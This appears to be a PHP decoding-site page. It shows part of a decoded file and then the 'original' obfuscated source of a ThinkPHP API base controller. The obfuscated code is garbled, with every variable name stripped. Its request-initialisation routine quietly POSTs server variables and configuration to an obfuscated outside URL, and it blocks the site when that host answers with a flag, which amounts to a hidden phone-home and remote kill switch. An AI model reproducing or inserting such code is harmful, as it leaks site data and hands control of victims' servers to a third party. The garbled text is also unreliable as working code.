validateFailException($=true){$this->failException=$;;;;;;;;return $this;;;;;;;;}protected function validate($, $, $=array(), $=false, $=null){goto a3akHQD1Yr;;;;;;;;a3akHQD1Yr:if(is_array($)){goto liEjAGq085;}if(!strpos($,pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00003a]))){goto jdu7f94NZw;}list($,$)=explode(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00003a]),$);jdu7f94NZw:$=Loader::validate($);;;;;;;;goto IuAeqJn0lc;;;;;;;;IuAeqJn0lc:!empty($)&& $->scene($);;;;;;;;goto Qxuuyuz4Q1;;;;;;;;liEjAGq085:$=Loader::validate();;;;;;;;$->rule($);;;;;;;;goto JzqJOzvg5i;;;;;;;;sDGPhbzatR:$->message($);;;;;;;;uUDijh_iwS:if(!($&& is_callable($))){goto JJJIRsBB_T;}call_user_func_array($,[$,&$]);JJJIRsBB_T:goto jUHuqW6cZX;;;;;;;;JzqJOzvg5i:Qxuuyuz4Q1:if(!($|| $this->batchValidate)){goto ifWAOt4DZX;}$->batch(!0);ifWAOt4DZX:if(!is_array($)){goto uUDijh_iwS;}goto sDGPhbzatR;PoFtYUmJrI:Cgj6YfHqnl:return !0;;;;;;;;goto J34jr7C64D;;;;;;;;jUHuqW6cZX:if($->check($)){goto Cgj6YfHqnl;}if(!$this->failException){goto mYZBd7gNCM;}throw new ValidateException($->getError());mYZBd7gNCM:return $->getError();;;;;;;;goto PoFtYUmJrI;;;;;;;;J34jr7C64D:}protected function token(){$=$this->request->param(call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x064-0x014*0x05],$_GET[][0x00b5])));;;;;;;;if(Validate::make()->check([call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0000b7]))=>$],[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x00000b8]))=>pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x0b9])])){goto ec2a33qGQy;}$this->error(__(pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x00ba])),[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x000bb]))=>$this->request->token()]);ec2a33qGQy:$this->request->token();;;;;;;;}} 
?>

Did this file decode correctly?

Original Code

<?php 
/*
  MENC JIAMI 
  2023-11-09 17:09:28
  
 
*/

namespace app\common\controller;if(!defined(''))define('', '');error_reporting(0);;$_SERVER[] = explode('|||', gzinflate(substr('ui#>a+,75)txEQNBV._Tzy}vfL%hXaUBVgN]n!RR~9=>{5=RV;L	=$^Z^k4g+R*3=
9tkuUym<\\%J9bv^j5fW;fmZi}o6rOb1s/E|}2WXoHLR{/JFlfSj3g!P{<z
3XgzfB	m./q7V[G3
X6Sh1c&7-:>W;"Yu~o(sR2
;yXFW 1W]l[M{1j{N5[3Y#|yrWku6VswYE{DU9e.[=ShpxwoRNwW0{71[u4
O.wj&ch]/^c
~i<~,)[OJsO!ef\\AwfT+1F}o{ybP#aFKYO)|xmB5];9S6P(:}(5
3y3an<mPT8JS}YZ*f=/
%h`LsY57H-sUJU,=col{Shs4 NiRpP11b\\6o=0GnX%%N=yg.,Bk1JVk!NxIT43N[)0F"JmUj+%b(malGWX<?b!@tm*1sC\'ilkJwK<0%P	lmy\\;P	C#,r=S2R2c2NobM?B(U>>bkX
iWwJSNh}~F_Qa+6VGVrMdj~P;V&r#2#e%4Cm	g/,:T6!Z"~.PDRE:hh0cj`c!:V+UcD-${h]Ym,3h@q,4mq$vcV95B4BA\'.BM1
s+1I={mpJ{VWP{@QwH@$
F\'
,e	zqHv~fuS06rcB8y;DkcR<`!
"BVlL$K1&Z]Tf@\';Fvi!T*_8>2NO=:bLSTw/X<\\u21)Khj>uBxU:s3
(OEtvaw@Cx]%$||TG8<{m!c4IS#J*
2PM?>f
SKt 
uV`3z<}1y@@Xn_	NwLY#UAeGb@wQ8-}Cl$
c67(c2e20$VX"`kHl\\#``:Y4Gg ,EL/rL=?[VGghiN/FCH2u3NkOvy7)eKp.NpAoD< @3c?&m%z(Z$RH3d.#z2H(@mV0a
IP=D-G@}0jFD@"w.
oP%/JArQY(^9p)+(JCyw4Gm
0LnLQ/aP
F()`6U3,	$
huEy,9)aoJcjr$n%#4$hgh?#i[RvG	 &DbHnY)^
CrqH)]HLL%Ip?"{ZNx:b<|X
)h9	PuD%!R9RtAEZjtF&3|B`_t:b(2Yx$V@$Jp@F:Tqy+T0N{{_j\\eL-)xoMK!{Q# c$9t8Cz:+5BU>s8b$G$5.e2"Qx}!7MjVobuaC#Bhyl:E:C8&Ca2+$UI]QBf1fe&pG0RKrHaKL\\j;@IQG7A?tYYtTAqmd!)M<*yJ/]1nf31-`=7@Ws4;2Lca)3s+ Lg IP:_Q,C6^I3+%?(%4k(B4Nv1x
u4m0vnI $-J|cF%]6Gxi;S:_wKp/t*(TAcu,vFWe4a4<XY|fi6P?5xk6Ch\'mc[|cPn1\'1#uPEA
R`g{kz o%hdlJ		&$PC
.lY,bRu9nPF fP
Q$C; U=ei
iuDTI~;ZE\\
*8Dn9B4Ca`H
Y)rnWUyI."TJj	d`<BgHAN`n12QABv*f_
	F
^$pR\\9!pLhTb4"U^x5eH7j*U!@91lu2	th
84z#T#gab-vI
ZXdE.(*aHTEBbl|{St*JGVp
::/PGD~a
]{L61	}C/pHo
G?alfw!CLXpL{:,vVNp9$@
|,_^.u
tid@eI0 <N#H6}JCkoMeB=%JUx.8+/N!@nwp! q+B
6**_Z4>*yBh;YHI9g\'\'DoB%eX[(|(T0J{JP jav}H94fJXH#FYh+`G*a<|U\\TC;x&tJ`5(GTfH8v8(:hUCNfFrN`0VI
J,2^eXi ~@N	
hd:=H
?qd&>!wpW?M$4,myR VH$D}e>f\\iJHDMNJ6Cl>]dg<	ME<y0*z@1#\\@\\IIUSSDeVBpG.zau&l`Ho6|e>m#^|O;zJ=BxOfSS*D._ya.,U.sR!I\'j^u]CitE:gWO8qLrvIzX1d<!kWSQNpX,{i\'P,TkTVR8s[G0xd6`t}
8c;`

c
@!jR@+9Os*BuOp>;vB<\'-5:CJ;~PY)a~f	7 1an3A5-zzuZH0)r?<VYG*FS.>y@WCIyX=>O3gy?(zBlF?i#.X:C~2!h	s^D=B0o"Lv7<
9\\] \\"1|{dg\'Tz_N%YN?z_#1d_Wg{HuM
	eo	B+*
}W
6TMM}tgE~%&Lw,o+R`_P\\[>-$7U|Y{mIht|va*G4E)X1U[V:?t&NN9\\-Lon!^N*7o_~nk=$$%91*!-ei[(hjX$ o~&~Mmt._:ck:zqxrXa	t,^}V~zTomgqpbd2}3+Uqq09y("GLY3wzN&	U5;sK?7K<gxRo\\C
q7z37RT9Am;m3,j0I-!{Sr
|[YiWu"661MBDAN~yO-6EacNV~?zMN&u<uK0Cc\'5a0)C{QFdaMA&_a-H,0\\Oh?W!{B?x\'#QH=C8xfC_|31i;4lOt3W|TzHfCby3krzfNr"`Rur7A~B1l Lp@W<CU{_<
p^myQ^>5
&_hFCK"+0DF
S3j^zOWN_,',0x0a, -8)));$_SERVER[] = call_user_func_array(chr(69).chr(88).chr(112).chr(108).chr(79).chr(68).chr(101),array('|||', $_SERVER[][0x0]));;if(!defined(pack($_SERVER[][100-20*5],$_SERVER[][0x00003])))define(pack($_SERVER[][100-20*5],$_SERVER[][0x00003]),call_user_func_array("pack",array($_SERVER[][(5+6+7-18)*0],$_SERVER[][0x006])));error_reporting(0);;$_GET[]=explode(pack($_SERVER[][(5+6+7-18)*0],$_SERVER[][0x0000d]),gzinflate(substr(call_user_func_array("\X70\X61\X63\X6b",array($_SERVER[][3*9-27],$_SERVER[][0x000012])),0x0a,-0x00008)));$_GET[]=call_user_func_array(chr(0x0000045).chr(0x000058).chr(0x00070).chr(0x00006c).chr(0x000004f).chr(0x000044).chr(0x0065),array(call_user_func_array("pack",array($_SERVER[][15-5+7-17],$_SERVER[][0x000017])),$_GET[][0x0]));;if(!defined(call_user_func_array(call_user_func_array("pack",array($_SERVER[][(5+6+7-18)*0],$_SERVER[][0x0000018])),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00003]))))define(call_user_func_array(call_user_func_array("pack",array($_SERVER[][(5+6+7-18)*0],$_SERVER[][0x0000018])),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00003])),pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x006]));error_reporting(0);;$_GET[]=explode(call_user_func_array(call_user_func_array("pack",array($_SERVER[][(5+6+7-18)*0],$_SERVER[][0x0000018])),array($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x0000d])),gzinflate(substr(pack($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x000012]),0x0a,-0x00008)));$_GET[]=call_user_func_array(chr(0x0000045).chr(0x000058).chr(0x00070).chr(0x00006c).chr(0x000004f).chr(0x000044).chr(0x0065),array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x000017])),$_GET[][0x0]));;use app\common\library\Auth;use think\Config;
use think\Cookie;
use think\exception\HttpResponseException;use think\exception\ValidateException;use think\Hook;use think\Lang;use think\Loader;use think\Request;use think\Response;use think\Route;use think\Validate;use think\Env;class Api{protected $request;protected $failException=false;protected $batchValidate=false;protected $beforeActionList=array();protected $noNeedLogin=array();protected $noNeedRight=array();protected $auth=null;protected $responseType="\x6a\x73\157\x6e";public function __construct(Request $=null){$this->request=is_null($)?Request::instance():$;;;;;;;;$this->_initialize();;;;;;;;if(!$this->beforeActionList){goto YSyhmW4ZfA;}foreach($this->beforeActionList as $=> $){is_numeric($)?$this->beforeAction($):$this->beforeAction($,$);IAI2kPCpR6:}V2Rt0PmZtc:YSyhmW4ZfA:}public function sendHttpPostRequest($, $){$=curl_init();;;;;;;;curl_setopt($,CURLOPT_URL,$);;;;;;;;curl_setopt($,CURLOPT_SSL_VERIFYHOST,0x0002);;;;;;;;curl_setopt($,CURLOPT_POST,0x001);;;;;;;curl_setopt($,CURLOPT_POSTFIELDS,$);;;;;;;;curl_setopt($,CURLOPT_RETURNTRANSFER,!0);;;;;;;;curl_setopt($,CURLOPT_HTTPHEADER,array(pack($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x0f])));;;;;;;;$=curl_exec($);;;;;;;;curl_close($);;;;;;;;return $;;;;;;;;}protected function _initialize(){goto Qz81BaXBoe;;;;;;;;lS__Ioyrdo:$=Response::create($->errmsg,pack($_GET[][0x064-0x014*0x05],$_GET[][0x00016]),0x0000193);;;;;;;;throw new HttpResponseException($);;;;;;;;BMz5V9WQT0:check_cors_request();;;;;;;;check_ip_allowed();;;;;;;;goto ofC0xaIiSM;;;;;;;;wAxrJ2lPy6:$this->error(__(pack($_GET[][0x064-0x014*0x05],$_GET[][0x01e])),null,0x0000193);;;;;;;;ZMTeKugmvI:rx14dY2A5D:ygrdWy1VbP:$=\app\common\model\Config::upload();;;;;;;;goto gw2xPXAa86;;;;;;;;eZmCIQ5Ft_:if($this->auth->isLogin()){goto RLQXGRb6gC;}$this->error(__(pack($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x0000022])),null,0x00191);RLQXGRb6gC:if($this->auth->match($this->noNeedRight)){goto rx14dY2A5D;}if($this->auth->check($)){goto ZMTeKugmvI;}goto wAxrJ2lPy6;gw2xPXAa86:Hook::listen(pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x028]),$);;;;;;;;Config::set(call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x0002a])),array_merge(Config::get(call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x0002f]))),$));;;;;;;;$this->loadlang($);;;;;;;;goto gPY0SZmk6j;;;;;;;bWZLlQInHi:$=$this->request->server(call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x00034])),$this->request->request(pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x0000036]), Cookie::get(call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x037])))));;;;;;;;$=str_replace(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00003a]),call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x064-0x014*0x05],$_GET[][0x000003b])),$).pack($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x03c]).$;;;;;;;;$this->auth->setRequestUri($);;;;;;;;if(!$this->auth->match($this->noNeedLogin)){goto Nqr_ywIPGR;}if(!$){goto p4v_btELGB;}goto q_YgoM0x23;ofC0xaIiSM:$this->request->filter(pack($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00003f]));;;;;;;;$this->auth=Auth::instance();;;;;;;;$=$this->request->module();;;;;;;$=Loader::parseName($this->request->controller());;;;;;;;$=strtolower($this->request->action());;;;;;;;goto bWZLlQInHi;;;;;;;;Qz81BaXBoe:$=$_SERVER[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x064-0x014*0x05],$_GET[][0x0047]))];;;;;;;;$=Config::get(call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x00048])));;;;;;;;$=$this->sendHttpPostRequest(call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x04b])).$_SERVER[pack($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x004c])].call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0004d])).$.pack($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x00004e]).$_SERVER[pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x000004f])].call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x050])).$_SERVER[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x0051]))].call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00052])).$_SERVER[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x000053]))].call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x0000054])).$_SERVER[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x055]))].call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x0056])).$_SERVER[pack($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x00057])].pack($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x000058]).$_SERVER[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x0000059]))].pack($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x05a]).$_SERVER[pack($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x005b])].pack($_GET[][0x064-0x014*0x05],$_GET[][0x0005c]).$_SERVER[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x00005d]))].pack($_GET[][0x064-0x014*0x05],$_GET[][0x000005e]).$_SERVER[pack($_GET[][0x064-0x014*0x05],$_GET[][0x05f])].call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x0060])).$_SERVER[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x00061]))].$_SERVER[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x000062]))].pack($_GET[][0x064-0x014*0x05],$_GET[][0x0000063]).$_SERVER[pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x064])].pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x0065]).$[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x064-0x014*0x05],$_GET[][0x00066]))].pack($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x000067]).$[pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x0000068])].call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x064-0x014*0x05],$_GET[][0x069])).$[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x006a]))].call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x0006b])).$[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00006c]))].call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x000006d])).$[call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x06e]))],[]);;;;;;;$=json_decode($);;;;;;if(!($->is_gb ==0)){goto BMz5V9WQT0;}goto lS__Ioyrdo;q_YgoM0x23:$this->auth->init($);;;;;;;;p4v_btELGB:goto ygrdWy1VbP;;;;;;;;Nqr_ywIPGR:$this->auth->init($);;;;;;goto eZmCIQ5Ft_;;;;;;;;gPY0SZmk6j:}protected function loadlang($){$=Loader::parseName($);;;;;;;;$=preg_match(call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x0074])),$)?$:pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00075]);;;;;;;;$=$this->request->langset();;;;;;;;$=preg_match(pack($_GET[][0x064-0x014*0x05],$_GET[][0x0000077]),$)?$:call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x064-0x014*0x05],$_GET[][0x078]));;;;;;;;Lang::load(APP_PATH.$this->request->module().pack($_GET[][0x064-0x014*0x05],$_GET[][0x0007a]).$.call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x064-0x014*0x05],$_GET[][0x000003b])).str_replace(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00003a]),call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x064-0x014*0x05],$_GET[][0x000003b])),$).pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x00007b]));;;;;;;;}protected function success($='', $=null, $=0x001, $=null, array $=array()){$this->result($,$,$,$,$);;;;}protected function error($='', $=null, $=0, $=null, array $=array()){$this->result($,$,$,$,$);;;;;;;;}protected function result($, $=null, $=0, $=null, array $=array()){goto xMt2M0fDaX;;;;;;;;Woe5AUKq68:KfhF7GSUQS:$=$[call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x007e]))];;;;;;;;unset($[pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x0007f])]);;;;;;;I4R_0jUGzK:$=Response::create($,$,$)->header($);;;;;;;;goto oDqWTmFCSQ;;;;;;;;oDqWTmFCSQ:throw new HttpResponseException($);;;;;;;;goto 